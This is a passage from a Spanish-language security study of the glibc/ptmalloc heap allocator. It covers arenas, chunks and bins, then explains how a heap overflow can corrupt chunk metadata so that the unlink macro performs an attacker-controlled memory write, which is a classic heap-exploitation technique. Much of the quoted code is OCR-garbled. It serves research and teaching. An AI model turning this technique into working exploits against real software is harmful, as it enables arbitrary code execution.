12La librerfa glibc 2.12.1 se puede descargar de:
http://ftp.gnu.org/gnu/glibc/glibc-2.12.1.tar.gz
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e ar_ptr

La primera variable ar_ptr es del tipo mstate y se conoce como arena
pointer. Este tipo esta definido en el cddigo ubicado en el fichero inclu-
de/malloc.h tal que asi:

1|struct malloc_state;
2 |typedef struct malloc_state xmstate;

Cédigo 5. mstate (include/malloc.h:11)

Como se puede ver, malloc_state y mstate son equivalentes.
mstate es un puntero a la estructura malloc_state y la estructura
malloc_state estd definida en el archivo malloc.c y debido a su im-
portancia también se detallard en este apartado.

La variable ar_ptr hace referencia a la estructura malloc_state que
es donde se gestionan todos los datos que se almacenen en el heap. Esta
definicién de los datos implica que la relacion entre arenas y heaps es de
uno a uno.

Tal y como ya se ha comentado, un proceso puede tener varios heaps,
asi que el proceso de uso de los heaps se basa en que cuando un proce-
so necesita almacenar nuevos datos, se busca si existe algin arena sin
bloqueaﬂ de ser asi, se utiliza para almacenar los nuevos datos, de no
existir ningin arena sin bloquear, se crea un nuevo heap y se almacenan
los datos en su respectivo arena. Esta técnica se utiliza para reducir la
problemdtica conocida como lock contention.|16]

e prev

Con la variable prev se gestionan todas las estructuras heap_info que
se crean durante la gestién de la memoria dinamica de un proceso. Como
ya se ha comentado, es posible que un mismo proceso tenga multiples
heaps. Estos heaps se gestionan a través de una lista enlazada de estruc-
turas heap_infolarena.c:106].

Sin embargo, dicha variable sélo se utiliza en tres partes del codigo. La
primera es la funcién new_heap [arena.c:693] que crea un nuevo heap
y devuelve una variable de tipo heap_info *, con todo y con eso, la
variable prev no se inicializa en dicha funcién. La segunda parte es en la
funciéon heap_trim [arena.c:840] y, de nuevo, en esta funcién tampoco
se inicializa la variable, solo se utiliza. Finalmente, la variable prev se
inicializa en la funcién sYSMALLOc [malloc.c:2965] después de llamar a
la funcion new_heap. Sin embargo, la funciéon sYSMALLOc sélo se llama

3Debido a que ptmalloc esté implementado para aplicaciones multithreaded algunas estructuras
de memoria pueden estar bloqueadas con técnicas de gestiéon de memoria compartida.
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cuando las peticiones de almacenamiento de datos cumplen ciertos requi-
sitos en cuanto al tamano de los datos, y dichos requisitos pocas veces se
cumplen [malloc.c:4747].

En pocas palabras, parece que esta variable se utiliza en situaciones mar-
ginales y la légica de su funcionamiento no es muy clara.

e size

En la variable size se almacena el tamano del propio heap.

Tanto la variable pad como la variable mprotect_size no son relevantes y con
los comentarios del cédigo fuente hay mas que suficiente.

2.2. Arena

La siguiente estructura a analizar es malloc_state. Esta estructura es la que
se conoce como arena. El codigo que la define es el siguiente:

struct malloc_state {
/+ Serialize access. */
mutex_t mutex;

/* Flags (formerly in max_fast). #*/
int flags;

#if THREAD_STATS
/+ Statistics for locking. Only used if THREAD_STATS is defined. x/
long stat_lock_direct, stat_lock_loop, stat_lock_wait;

#endif

/% Fastbins x/

mfastbinptr fastbinsY [NFASTBINS] ;
/* Base of the topmost chunk ——- not otherwise kept in a bin x/
mchunkptr top;

/* The remainder from the most recent split of a small request #*/
mchunkptr last_remainder;

/* Normal bins packed as described above */
mchunkptr bins [NBINS = 2 - 2];

/* Bitmap of bins #/
unsigned int binmap [BINMAPSIZE] ;

/% Linked 1ist x/
struct malloc_state xnext;
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#ifdef PER_THREAD

/* Linked list for free arenas. #*/
struct malloc_state *next_free;
#endif
/#* Memory allocated from the system in this arena. #*/

INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
bi

Cédigo 6. malloc_state (malloc.c:2362)

e fastbinsY]...]

En la variable fastbin[’] se almacenan fragmentos de memoria que se
han liberado recientemente. Esta variable almacena dichos fragmentos de
memoria y se utilizan en un orden LIFO por cuestiones de rendimiento
a diferencia de los bing”] normales que se utilizan en un orden FIFO
[malloc.c:2263].

Los fragmentos de memoria referenciados en la variable fastbin mantienen
su bit inuse a 1 de modo que estos fragmentos de memoria nunca
se fusionan para crear un fragmento de memoria liberado mas grande, a
menos que se ejecute la funciéon malloc_consolidate[malloc.c:5088]
que libera los fragmentos de memoria de los fastbins y los fusiona con
otros fragmentos de memoria libres [malloc.c:2271].

El tipo de la variable fastbin es un puntero a malloc_chunk tal y como
se define en [malloc.c:2277]:

1 |typedef struct malloc_chunk+ mfastbinptr;

Cédigo 7. mfastbinptr (malloc.c:2277)

La estructura malloc_chunk se estudiard mas adelante, sin embargo, se
puede avanzar que dicha estructura identifica a un fragmento de memoria.
El nimero de fastbins viene definido por la constante NFASTBINS, que en
el caso de una arquitectura de 32 bits donde el tamano del tipo size_t
es de 4 bytes el valor de la constante es 10[12].

El objetivo de esta variable es el de tener acceso a pequenos fragmentos
de memoria que estén libres y a punto para poder almacenar datos de

A partir de ahora a la variable fastbinY se la llamara fastbin ya que asi es como se conoce al
concepto que define.

I5E] concepto bin se definird a continuacién, por ahora basta con saber que con bin se identifica
a un espacio de memoria en el que almacenar y organizar los fragmentos de memoria asignados.
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e top

un modo eficiente. Esta estructura permite tener acceso a fragmentos de
memoria libres de un modo eficiente, sin embargo, debido a que dichos
fragmentos de memoria no se fusionan con otros fragmentos libres se
incrementa el nivel de fragmentacién de la memoria.

La variable top es de tipo mchunkptr que como se puede ver a conti-
nuaciéon no es mas que un puntero a una estructura malloc_chunk:

struct malloc_chunk;
typedef struct malloc_chunkx mchunkptr;

Cédigo 8. mchunkptr (malloc.c:1608)

La estructura malloc_chunk se estudiard mas adelante, sin embargo, se
puede avanzar que dicha estructura identifica a un fragmento de memoria.
Asi pues, la variable top identifica un fragmento de memoria en especial
que delimita el final de la memoria disponible del arena. Este fragmento no
esta almacenado en ningin bin y representa el espacio libre o sin asignar
del propio arena. Sélo se asigna espacio de memoria del top cuando no
hay ningun otro fragmento de memoria libre [malloc.c:2217].

e last_remainder

Igual que la variable top, la variable last_remainder identifica un
fragmento de memoria - mchunkptr - libre. Este fragmento de memo-
ria es especial porque es el espacio restante cuando otro fragmento de
memoria de poco tamano se ha dividido para almacenar otros datos. Es-
pecificamente, last_remainder apunta al ultimo fragmento de poco
tamarno dividido [malloc.c:2380].

El uso de la variable last_remainder se da en [malloc.c:4401].

e bins|...]

La variable bins es un array que apunta a diferentes fragmentos de
memoria mchunkptr. El objetivo de la variable bins es mantener una
lista de varios fragmentos de memoria libres y de diferentes tamanos. En
la mayoria de los casos, cuando se haga una peticion de memoria por par-
te del usuario, los datos se almacenaran en algin bin que esté disponible
y que sea del tamano adecuado. Es por esta razon que esta estructura es
una de las mas importantes. Existen un total de 128 bins definidos por la
constante NBINS [malloc.c:2162], sin embargo, el tamano del array bins
es de NBINS * 2 - 2, o sea, 254.
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La variable bins es un array, pero cada uno de estos bins - o posiciones
del array - identifica un fragmento de memoria que esta doblemente en-
lazado con otros fragmentos de memoria. Asi pues, cada uno de los bins
apunta hacia una lista enlazada de fragmentos de memoria libres. De este
modo, los fragmentos de memoria libres de los que dispone el proceso se
organizan de un modo en el que su acceso es o6ptimo.

Tal y como se especifica en el cdigo fuente [malloc.c:2141] existen los
siguientes bins con sus respectivos tamanos:

Tabla 1. Tamano de los bins

Nimero de bins | Tamano del bin (bytes)
64 8
32 64
16 512
8 4096
4 32768
2 262144
1 Lo que queda

e next

Para puntualizar mas que lo comentado en el cédigo de la estructura
malloc_state esta variable mantiene una lista enlazada circular de
los arenas existentes [arena.c:510]. Se puede ver su inicializacién en [are-
na.c:944] cuando es necesario crear un nuevo arena. De este modo se
puede acceder a un arena o a otro dependiendo de si dichos arenas estan
siendo utilizados - y, por lo tanto, bloqueados - en el mismo momento en
que se necesita hacer una reserva de memoria.

Evidentemente, debido a que enlaza otros arenas, su tipo es un puntero
a la estructura malloc_state.

e next_free

Esta variable es una lista de arenas que supuestamente estan libres. Sin
embargo, en el cdédigo malloc.c no se le da ningiin uso, o sea, que a efectos
préacticos es como si no existiera. En el archivo de cédigo arena.c existe
una funcién llamada get_free_list () en la que se trabaja con dicha
variable, sin embargo, esta funciéon tampoco se ejecuta en ninguna parte
de malloc.c.

Las variables que no se han detallado, no son relevantes para comprender a gran-
des rasgos cémo funciona la gestion de la memoria dindmica. Las variables mutex,
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stat_lock_direct, stat_lock_loopy stat_lock_wait tienen que ver con
cuestiones de memoria compartida. La primera se encarga de bloquear el arena cuan-
do esta en uso y las demas sirven para generar estadisticas sobre dichos bloqueos.
Por otro lado, el array binmap|[...] sirve para saber si los bins estan vacios o no.
Utilizado por cuestiones de rendimiento cuando se ha de encontrar un bin disponible.
Por 1ltimo, las variables system_mem y max_system_mem sirven para saber cuan-
ta memoria del sistema se ha almacenado en el propio arena.

2.3. Fragmentos de memoria

Los fragmentos de memoria - o malloc chunks - es donde se almacenan los datos
por los que el usuario ha pedido espacio. Esta estructura de memoria es una de las
mas importantes ya que dependiendo de cémo se gestionen las operaciones que le
afectan es posible que se introduzcan vulnerabilidades en el algoritmo.

El cédigo que identifica a los fragmentos de memoria es el siguiente:

struct malloc_chunk {

/* Size of previous chunk (if free). #*/
INTERNAL_SIZE_T prev_size;

/+ Size in bytes, including overhead. x/
INTERNAL_STIZE_T size;

/* double links ——- used only if free. #*/

struct malloc_chunkx fd;
struct malloc_chunkx bk;

/# Only used for large blocks: pointer to next larger size. #/
/# double links —-— used only if free. #*/
struct malloc_chunkx fd_nextsize;
struct malloc_chunkx bk_nextsize;
bi

Cédigo 9. malloc_chunk (malloc.c:1809)

Como se puede ver por los comentarios del Cddigo [9) hay datos de la propio

estructura que soélo se utilizan si el fragmento de memoria esta en cierto estado.
Esto significa que dependiendo del estado en el que esté el fragmento de memoria,
se tendra una representacién ”practica” u otra.
Un fragmento de memoria sélo puede estar en dos estados. En uso o libre. Tal y como
se ha explicado anteriormente, si el fragmento de memoria esta libre, su direccién se
acabara almacenando en un bin. Si el fragmento de memoria esta en uso, el usuario
obtendra la direcciéon de memoria donde podréd almacenar sus datos.

Un fragmento de memoria en uso tiene la representacién que se muestra en la
Figura [2
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Figura 2. Fragmento de memoria en uso

En la Figura [2] el puntero chunk apunta al principio del fragmento de memoria.
La direccién de memoria a la que apunta chunk se utiliza por las rutinas internas del
algoritmo. Ademsds, justo donde apunta chunk se encuentra el tamano del fragmento
de memoria, sélo si dicho fragmento también esta en uso.
El siguiente campo de la estructura de datos es el tamano del propio fragmento de
memoria. Suponiendo una arquitectura de 32 bits, cada uno de estos campos es de
4 bytes, tal y como se puede comprobar a partir del tipo de cada campo:

#ifndef INTERNAL SIZE T
##define INTERNAL SIZE T size t
#endif

Cédigo 10. INTERNAL_SIZE_T (malloc.c:385)

Por otro lado, los fragmentos de memoria siempre estan alineados a un cierto va-
lor. Esto se debe a que siempre que se hace una llamada a funciones comomalloc (),
el tamano que se le pasa como argumento a la funcion es substituido por un tamano
que cumpla ciertos requisitos tal y como se puede ver en las siguientes macros.
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/+ pad request bytes into a usable size —-- internal version #*/

##define requestlsize (req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) °? \
MINSIZE : \

((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & "MALLOC_ALIGN_MASK)
/+ Same, except also perform argument check */

#define checked_request2size (req, sz)
if (REQUEST_OUT_OF_RANGE (req)) {
MALLOC_FAILURE_ACTION;
return 0O;

}

(sz) = request2size(req);

— =

Cédigo 11.  checked request2size (malloc.c:1955)

Como se puede ver, la macro checked_request2size - que se ejecuta realizar

al peticiones de memoria - devuelve 0 si el tamano de la peticion esta fuera de rango
y de lo contrario, ejecuta la macro request2size que devuelve el tamano correcto
para la peticion.
El tamano devuelto sera MIN_SIZE si el tamano de la peticién es menor al tamano
minimo permitido. Por contra si el tamano es mayor al minimo aceptado, el tamano
devuelto sera el tamano de la peticion, mas SIZE_7Z, mas MALLOC_ALIGN_MASK
y a este valor se le realizara una and logica con el valor de MALLOC_ALIGN_MASK
negado. El valor de dichas constantes se puede ver a continuacion:

/+ The corresponding word size */
#define SIZE_S7Z (sizeof (INTERNAL_SIZE_T))

Cédigo 12.  SIZE_SZ (malloc.c:392)

La constante STZE_SZ es igual a 4, ya que INTERNAL_SIZE_T equivale al tipo
size_t que su tamano en una arquitectura de 32 bits es 4.

#ifndef MALLOC_ALIGNMENT

/+ comments */

#define MALLOC_ALIGNMENT (2 * SIZE_S7)
#endif

/+* The corresponding bit mask value x/
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)

Cédigo 13.  MALLOC_ALIGN_MASK (malloc.c:404)

Se deduce entonces que MALLOC_ALIGNMENT_MASK es 7, que en binario se re-
presenta como 111. De este modo, y volviendo al Cddigo [T} se obtiene que el tamano
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devuelto en una peticién de memoria que supere el minimo aceptado siempre sera el
tamano inicial de la peticion mas 4 mas 7 y lo mas importante es que los tltimos
tres bits de dicho tamano siempre seran 0 debido a la and légica que se realiza con
el valor de MALLOC_ALIGN_MASK negado, que es igual a 29 bits a 1 y los tres bits
menos significativos a 0.

Gracias a esta estrategia se pueden utilizar los ultimos 3 bits de campo que identifica
el tamano del fragmento de memoria como metadatos. Asi pues, el bit menos signifi-
cativo, P, de dicho campo sirve para identificar si el fragmento de memoria anterior
al actual estd en uso. El siguiente bit M identifica si el fragmento de memoria actual
se ha asignado a través de la llamada al sistema mmap () y, por ultimo, el bit A
sirve para identificar si el fragmento de memoria actual esta en un arena que no es
el principal.

Para obtener toda esta informacion se utilizan las siguientes macros:

/* size field is or’ed with PREV_INUSE when previous adjacent chunk in
use */
#define PREV_INUSE Ox1

/+ extract inuse bit of previous chunk x/
#define prev_inuse (p) ((p) —>size & PREV_INUSE)

/* size field is or’ed with IS _MMAPPED if the chunk was obtained with
mmap () */
#define IS_MMAPPED 0x2

/* check for mmap ()’ed chunk =/
#define chunk_is_mmapped (p) ((p)->size & IS_MMAPPED)

/* size field is or’ed with NON_MAIN ARENA if the chunk was obtained
from a non—-main arena. This is only set immediately before handing
the chunk to the user, 1f necessary. */

#define NON_MAIN_ARENA 0x4

/% check for chunk from non-main arena x*/
#define chunk_non_main_arena (p) ((p)->size & NON_MAIN_ARENA)

Cédigo 14. Metadatos en el campo tamano (malloc.c:1969)

Como se puede ver, en todos los casos se utilizan ands logicas para obtener el
valor deseado. Si el bit en cuestion esta a 1, cada una de las macros devolvera 1, en
caso contrario, 0.

Por otro lado, para obtener el tamano del fragmento de memoria se utiliza esta
macro:
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#define SIZE_BITS (PREV_INUSE|IS_MMAPPED |NON_MAIN_ARENA)

/+ Get size, ignoring use bits #*/
##define chunksize (p) ((p)—>size & ~ (SIZE_BITS))

Cédigo 15. Tamano de un fragmento de memoria (malloc.c:1969)

Por ultimo, después del tamano del fragmento de memoria actual vienen los
datos que el usuario ha decidido almacenar. El puntero mem apunta al principio de
los datos del usuario y dicha direccion es la que se devuelve en las funciones que
utiliza el usuario para pedir memoria.

A continuacién se detalla cémo es un fragmento de memoria libre, o mejor dicho,
un fragmento de memoria que ha estado en uso pero que ya se ha liberado. Tal y
como se ha explicado anteriormente, la estructura de datos es la misma que con un
fragmento de memoria en uso, sin embargo, su representacién ”practica” es diferente.
La Figura |3| muestra cual es su representacion.

FRAGMENTO DE
MEMORIA LIBRE

7 N\<=—— CHUNK

TAMANO DEL
FRAGMENTO ANTERIOR,
SI ESTA ASIGNADO

TAMANO DEL
FRAGMENTO A P
ACTUAL

<== MEM
PUNTERO AL SIGUIENTE
FRAGMENTO

PUNTERO AL
FRAGMENTO ANTERIOR

PUNTERO AL SIGUIENTE
FRAGMENTO DE MAYOR TAMANO

PUNTERO AL FRAGMENTO
ANTERIOR DE MAYOR TAMANO

DATOS DEL USUARIO
C...)

Figura 3. Fragmento de memoria libre

De nuevo, en esta representacion aparecen los dos campos de tamano, igual que
con el fragmento de memoria en uso, sin embargo, esta vez el segundo bit menos
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significativo del campo que identifica el tamano del fragmento actual ya no se utiliza.
Esto se debe a que los fragmentos que se han reservado a través de la llamada
mmap (), una vez liberados, no se almacenan en ningin bin debido a que no hay
listas que almacenen los fragmentos de memoria reservados con mmap (), sino que se
liberan con unmap () [malloc.c:5060).

Un dato importante es que los fragmentos de memoria contiguos a este fragmento
solo podran ser fragmentos de memoria en uso o el fragmento de memoria top. Esto
significa que nunca se tendran dos fragmentos de memoria libres contiguos ya que
si este es el caso, estos dos fragmentos de memoria libres se fusionarian en un sélo
fragmento [malloc.c:2070].

A continuacién de los campos de tamano, se sitiian sendos punteros al proximo y
al anterior fragmento de memoria libre respectivamente. Es a partir de estos punteros
con los que se navega en busca del fragmento de memoria libre que mejor se adectie
a la peticiéon de memoria del usuario.

Un dato muy importante a tener en cuenta es que el puntero mem, que es la direccién
de memoria que se le devolvié al usuario a través de una llamada, por ejemplo, a
malloc () ahora apunta directamente a estos dos punteros.

Después existen otros dos punteros que identifican el siguiente y el anterior frag-
mento de memoria de un tamano mayor al fragmento actual.

Y por ultimo, puede existir espacio libre que no se utiliza cuando el fragmento
estd libre.

Con los conocimientos expuestos en este capitulo es posible seguir adelante tenien-
do una base que permita entender los conceptos que se expondran a continuacion, sin
embargo, cabe destacar que el funcionamiento de la gestién de la memoria dindmica
es complejo y en estas escasas paginas no se han detallado ni mucho menos todas las
funcionalidades de dicho algoritmo. Si bien es posible que en los siguientes capitulos
se detallen conceptos béasicos que no se han visto en este apartado.
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3. Explotando el algoritmo ptmalloc

Tal y como se ha explicado en el apartado [1.4] la gestién de memoria dindmica

utilizada en sistemas GNU/Linux estd implementada por el algoritmo llamado ptma-
lloc desarrollador por Wolfram Gloger, que es una evolucién de una implementacion
anterior llamada dimalloc desarrollada por Doug Lea.
Actualmente, la gestiéon de memoria dindmica implementada en la libreria glibc
estd basada en el algoritmo ptmalloc, sin embargo, la implementacién en la glibe
contiene ciertas modificaciones que, en la mayoria de los casos, estan enfocadas a
realizar una gestiéon de memoria de un modo mas seguro.

Debido a esto, en este apartado se detallard como explotar el algoritmo original sin
las mejoras anadidas en la glibc. De este modo se podra detallar el proceso a seguir a
un nivel basico de modo que el lector pueda desarrollar unos buenos fundamentos con
los que proseguir con el estudio de la explotacion del heap en cualquier arquitectura
diferente a la tratada en esta investigacion.

Cabe destacar que aunque no se estudie la implementacion del algoritmo de la

glibc, no se han encontrado investigaciones que detallen como explotar el algoritmo
ptmalloc. Todas las referencias bibliograficas sobre el tema han sido de excepcional
ayuda, sin embargo, ninguna de ellas permite, a partir los detalles proporcionados,
la ejecucién de codigo arbitrario mediante la explotacién del algoritmo.
Debido a la evolucion del algoritmo, las técnicas retratadas en dichas investigaciones
han quedado obsoletas mientras que lo que se detalla en esta investigacion permite la
ejecucion de codigo arbitrario siguiendo vectores de ataque diferentes a los expuestos
en dichas investigaciones.

Lo primero que se debe realizar para continuar es descargar la implementacién
original del algoritmo ptmalloc para que los cédigos que se desarrollaran a continua-
cién utilicen sus funciones en vez de utilizar las funciones que vienen implementadas
en la glibc. Todo este proceso estd detallado en el Apéndice [A]

De ahora en adelante y hasta que se especifique lo contrario, todos los cédigos y nu-
meracion de lineas del codigo fuente estan en referencia al codigo fuente del algoritmo
original ptmalloc, el especificado en el Apéndice [A]
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3.1. Teoria sobre la macro unlink

La vulnerabilidad que se va a estudiar en estos capitulos pasa por la macro unlink.
Dicha macro se utiliza cuando se libera un fragmento de memoria que esta en uso.
Siendo aun maés especificos, la macro unlink se ejecuta cuando se libera un fragmento
de memoria que esta en uso y cuando el fragmento de memoria anterior o siguiente
esta libre. De este modo se consigue, tal y como se ha explicado en la pagina
que diferentes fragmentos de memoria libres adyacentes se consoliden en un solo
fragmento de memoria libre mayor.

La macro unlink esté definida en el archivo malloc.c en la linea 1975 del siguiente
modo:

/+ Take a chunk off a bin 1list #*/
#idefine unlink (P, BK, FD) {
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;

—

Cédigo 16. Macro unlink (malloc.c:1975)

Lo primero a tener en cuenta antes de proseguir es que los fragmentos de memoria
del algoritmo original ptmalloc no son iguales a los fragmentos de memoria estudiados
en el apartado anterior. A diferencia de los fragmentos de memoria implementados en
la glibe, en el algoritmo que estudiamos no existen los tltimos dos campos detallados
para un fragmento de memoria libre. Los campos que hacen de punteros al fragmento
anterior y siguiente de mayor tamano no existen. Por esta razén la macro unlink
no hace ninguna gestién con ellos, simplemente trabaja con el puntero al siguiente
fragmento libre [P—>£d] y el puntero al fragmento libre anterior [P—>bk].

Un fragmento de memoria esta definido tal que as{ "}

struct malloc_chunk {

/* Size of previous chunk (if free). #*/
INTERNAL_SIZE_T prev_size;

/# Size in bytes, including overhead. #*/
INTERNAL_SIZE T size;

/* double links —- used only if free. x/

struct malloc_chunkx fd;
struct malloc_chunkx Dbk;

bi

Cédigo 17. malloc_chunk (malloc.c:1682)

16L0os comentarios en el cédigo se han movido de lugar debido a cuestiones de formato del
documento.
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Basicamente la vulnerabilidad que se estudiara a continuacién se da debido a
que los datos de control que permiten gestionar los fragmentos de memoria son
adyacentes a los datos del usuario. Si existieran dos fragmentos de memoria en uso,
se estructurarian en memoria tal y como se muestra en la figura .

DOS FRAGMENTOS DE
MEMORIA EN USO

DATOS DATOS
PREV_SIZE SIZE DEL PREV_SIZE SIZE DEL
USUARIO USUARIO
[ Fragmento 1 l Fragmento 2 |

Figura 4. Dos fragmentos de memoria en uso

Si en el codigo fuente de un usuario de esta libreria existiera un buffer overflow
de modo que se desbordaran los datos que se almacenan en el primer fragmento de
memoria, se podrian sobrescribir los datos de control prev_size y size de modo que
una vez el algoritmo los utilizara obtendria unos valores incorrectos.

Asi pues, es esta capacidad de sobrescribir los datos inherentes al algoritmo lo
que propicia que un atacante pueda ser capaz de ejecutar codigo arbitrario.

La macro unlink se utiliza cuando al liberarse un fragmento de memoria en uso,
existe al menos otro fragmento de memoria libre que es adyacente al fragmento de
memoria a liberar [malloc.c:4244]. De este modo, el algoritmo junta - o consolida -
lo que seran dos - o tres - fragmentos de memoria libres en un solo fragmento de
memoria libre mayor. Gracias a esto se evita una mayor fragmentacion interna de
los fragmentos de memoria libres.

Si el fragmento libre es anterior al que se va a liberar, esta operacion se conoce como
consolidate backward, si el fragmento libre es el siguiente al que se va a liberar se
conoce como consolidate forward.

Especificamente, la macro unlink sirve para desenlazar un fragmento de memo-
ria libre de la lista doblemente enlazada de fragmentos de memoria libres que se
detallé en la pdgina [23] La ldgica del algoritmo es simple, si existe algin tipo de
consolidacion, ya sea backward o forward, el fragmento de memoria que ya estaba
libre se elimina de la lista de bins y se fusionam con el fragmento de memoria que
se acaba de liberar. Una vez se ha realizado dicha fusion, el fragmento de memoria

17Una fusién entre dos fragmentos de memoria libre, bdsicamente, se consigue a través de modi-
ficar el campo size del fragmento.
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libre resultante se vuelve a afiadir a la lista de bingd™> en su debida posicién debido
al nuevo tamano del fragmento.

A continuacion se representa un caso en particular para acabar de definir grafi-
camente el proceso de desenlace realizado por unlink.

ESTADO INICIAL

¢ | Fragmento a liberar __ |
- v | >]
:
) ; ® @ @
. |lerev | size PREV User PRV | goe PREV | gize User
( size i BK size | 5% DATA size e b size DATA

®© ¢@

PREV USER PREV siZE PREV | go¢ USER PREV | gzg FD BK
l[ size | 525 DATA SIZE e B size DATA SIZE

Figura 5. Estado anterior a unlink

A

En la Figura [5| se representan ocho fragmentos de memoria que son contiguos
entre ellos fisicamente. Este ejemplo se ha representado con ocho fragmentos de
memoria para intentar representar lo que podria ser un caso real donde la macro
unlink se ejecutara. Evidentemente, aquellos fragmentos que contienen el campo
bk y el campo fd son fragmentos de memoria libres, mientras que los demas son
fragmentos de memoria en uso. Como se puede apreciar, en el estado inicial no existen
dos fragmentos de memoria libres contiguos ya que tal y como se ha comentado
anteriormente - y se detallarda posteriormente - dos fragmentos de memoria libres
contiguos se fusionan entre ellos. Los punteros bk y fd apuntan al anterior y al
siguiente fragmento de memoria libre respectivamente tal y como se ejemplifica con
las flechas.

En este caso el fragmento nimero 4 es que el que se quiere liberar mediante
una llamada a free (). Tal y como se ve, el fragmento de memoria previo a 4
no esta en uso, estd libre. Es en este caso cuando el algoritmo ejecuta la macro
unlink [malloc:4244]. Para saber si el fragmento anterior a 4 estd libre, el algoritmo
ejecuta la macro prev_inuse () que simplemente comprueba si el campo SIZE
del fragmento 4 tiene el bit PREV_INUSE a 1. Si dicho bit esta a 0 significa que
el fragmento anterior a 4 esta libre, entonces se busca en qué direccién de memoria

18Cabe destacar que el nuevo fragmento de memoria se afiadiré a un conjunto de bins denominado
unsorted chunks. Esto se debe a cuestiones de optimizacién ajenas al tema que nos concierne.
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se encuentra el fragmento anterior a partir de la macro chunk_at_offset () que
utilizando el campo PREV_SIZE del fragmento actual a liberar es capaz de obtener la
direccion inicial del fragmento anterior - restandole al puntero del fragmento actual el
valor de su campo PREV_SIZE -. Una vez se conoce cual es la direcciéon de memoria
del fragmento anterior a 4, se puede ejecutar la macro unlink sobre él.

La macro unlink se encarga de desenlazar de la lista de fragmentos libres el
fragmento sobre el que actia, o sea que a efectos practicos, se encarga de que ningtin
fragmento de memoria libre apunte al fragmento de memoria desenlazado. Asi pues,
los punteros £d y bk de los fragmentos libres que apuntan al fragmento sobre el que
actua unlink - representados por las lineas discontinuas - seran modificados para que
apunten a otros fragmentos de memoria.

Analizando linea a linea la macro unlink se podra ver cémo la estructura final de
los fragmentos de memoria serd la representada en la Figura [6]

FD = P->fd; \
BK P->bk; \

Cédigo 18. Macro unlink. Lineas 1 y 2

En el Cédigo[I8|con la linea 1, en FD se almacena la direccién del fragmento 6 que
es el siguiente fragmento libre de 4. En BK se almacena la direccién del fragmento
1.

FD->bk = BK; \

Cédigo 19. Macro unlink. Linea 3

A continuacion, en la linea 1 del Cdédigo se hace que en el campo bk del
fragmento 6 (FD) se almacene la direccién de memoria donde se ubica el fragmento
1 (BK).

BK->fd = FD; \

Cédigo 20. Macro unlink. Linea 4

Por 1ltimo, en la linea 1 del Cédigo [20|se hace que en el campo £d del fragmento
1 (BK) se almacene la direcciéon de memoria donde se ubica el fragmento 6 (FD).

De este modo los punteros £d y bk de los fragmentos 1 y 6 respectivamente, que
anteriormente apuntaban al fragmento 3 han dejado de apuntar a dicho fragmento
y ahora apuntan al fragmento 6 y 1 respectivamente. Finalmente, el fragmento 3 se
ha desenlazado de la lista de fragmentos libres mediante unlink.

Cabe destacar que después de que esto ocurra, el fragmento 3 y 4 que ahora son dos
fragmentos libres contiguos se consolidan en un solo fragmento libre [malloc.c:4281]
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de modo que se pierde cualquier referencia a lo que anteriormente era el fragmento 4.
Ademas, este nuevo fragmento [3] también se anade a una lista de fragmentos libres
llamada unsorted_chunks [malloc:4274].

El resultado final de esta operacién se puede apreciar en la Figura [6]

ESTADO FINAL

| I oK erev | oz User | Fragmento liberado, consclidado y enlazado en otra lista ||
SIZE DATA I I
.
H
A S H
e 2
o~ I_H
H
H
® © L@
PREV USER PREV PREV USER PREV | g>p
[ size | 5% DATA size | S'%% e BR size | S'*F DATA SIZE i SIS

A A

Figura 6. Estado posterior a unlink

Por dltimo, para no sélo tratar con un caso complejo de unlink, la Figura
muestra la funcionalidad basica de unlink dados tres fragmentos de memoria libres
dentro de la lista doblemente enlazada de bins.

ESTADO PREVIO

A UNLINK
7 N 7 N 4 )
PREV_SIZE PREV_SIZE PREV_SIZE
SIZE SIZE SIZE
FD | FD FD

BK BK BK

\. /, \ /, \. /,
ESTADO POSTERIOR
A UNLINK
>
7 N < T s N
PREV SIZE PREV_SIZE
. 7 N

. PREV_SIZE SIZE

- SIZE FD

BK FD BK
\ -
S — N —

BK
\& /,

Figura 7. Unlink basico

36



=W N = ® N O ok W N

-

s W N

3.2. Vector de ataque

Partiendo de la definicién de un fragmento de memoria malloc_chunk tal y
como se define en el Cédigo 21}

struct malloc_chunk {

INTERNAL_SIZE_T prev_size;
INTERNAL_SIZE_T size;

struct malloc_chunkx fd;
struct malloc_chunkx bk;
bi

Codigo 21. Definicion de un fragmento de memoria

Se deduce que instanciando un puntero p de tipo malloc_chunk, las direcciones
equivalentes para acceder a cada uno de sus elementos son las siguientes:

p—>prevsize equivale a *p + 0 Dbytes
p—>size equivale a *p + 4 Dbytes
p—>fd equivale a *p + 8 Dbytes
p—>bk equivale a *p + 12 bytes

Cédigo 22. Equivalencias entre punteros

El Cédigo significa, por ejemplo, que para acceder al valor del campo fd se
debe obtener la direcciéon donde apunta el puntero p y sumarle 8 bytes. Si p apuntara
a la direccién 0x8111110, el campo fd estaria situado en la direccién 0x8111118.
Una vez aclarado lo anterior, uno podria analizar cual es el comportamiento de la
macro unlink a nivel de punteros:

FD = P->fd; equivale a FD = xP + 8
BK = P->bk; equivale a BK = xP + 12
FD->bk = BK; equivale a FD + 12 = BK
BK->fd = FD; equivale a BK + 8 = FD

Cédigo 23. Unlink a nivel de punteros

Suponiendo que FD y BK son punteros en C, con la linea 1 se obtendria que FD
apunta al contenido de la direccion del fragmento de memoria p mas 8 bytes, o sea,
a la direcciéon que contiene del campo f£d del fragmento de memoria (p—>£d). La
segunda linea es andloga a la primera.

La linea nimero 3, la més relevante de todas, realiza una escritura en memoria. La
parte izquierda del operando significa que al contenido de la direccion de memoria
*p + 8 se le suman 12 bytes. Esto significa que si la direccion de memoria ubicada en
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*p + 8 es 0x8000000, pasara a ser 0X800000ﬂ. Con la parte derecha del operando se
establece que en dicha direcciéon de memoria (en el ejemplo, 0x800000c) se escribira el
contenido de la direcciéon de memoria *p + 12, o sea, en p—>bk.

Por 1ltimo, con la cuarta linea también se realiza una escritura en memoria, sin
embargo, esta escritura es una molestia que se debera solventar. Analogamente a la
linea 3, al contenido de xp + 12 se le suma &, con lo que si en xp + 12 habia un
0x8000000, se obtendra un 0x8000008. Acto seguido, en esa direccion de memoria
(en el ejemplo, 0x8000008) se almacenard el contenido de la direccién de memoria
*p + 8, 0 sea, el contenido de p—>fd.

Entonces, jcudl es el vector de ataque? El vector de ataque del que se aprovecha
esta técnica es la escritura en memoria que se realiza en la linea 3.
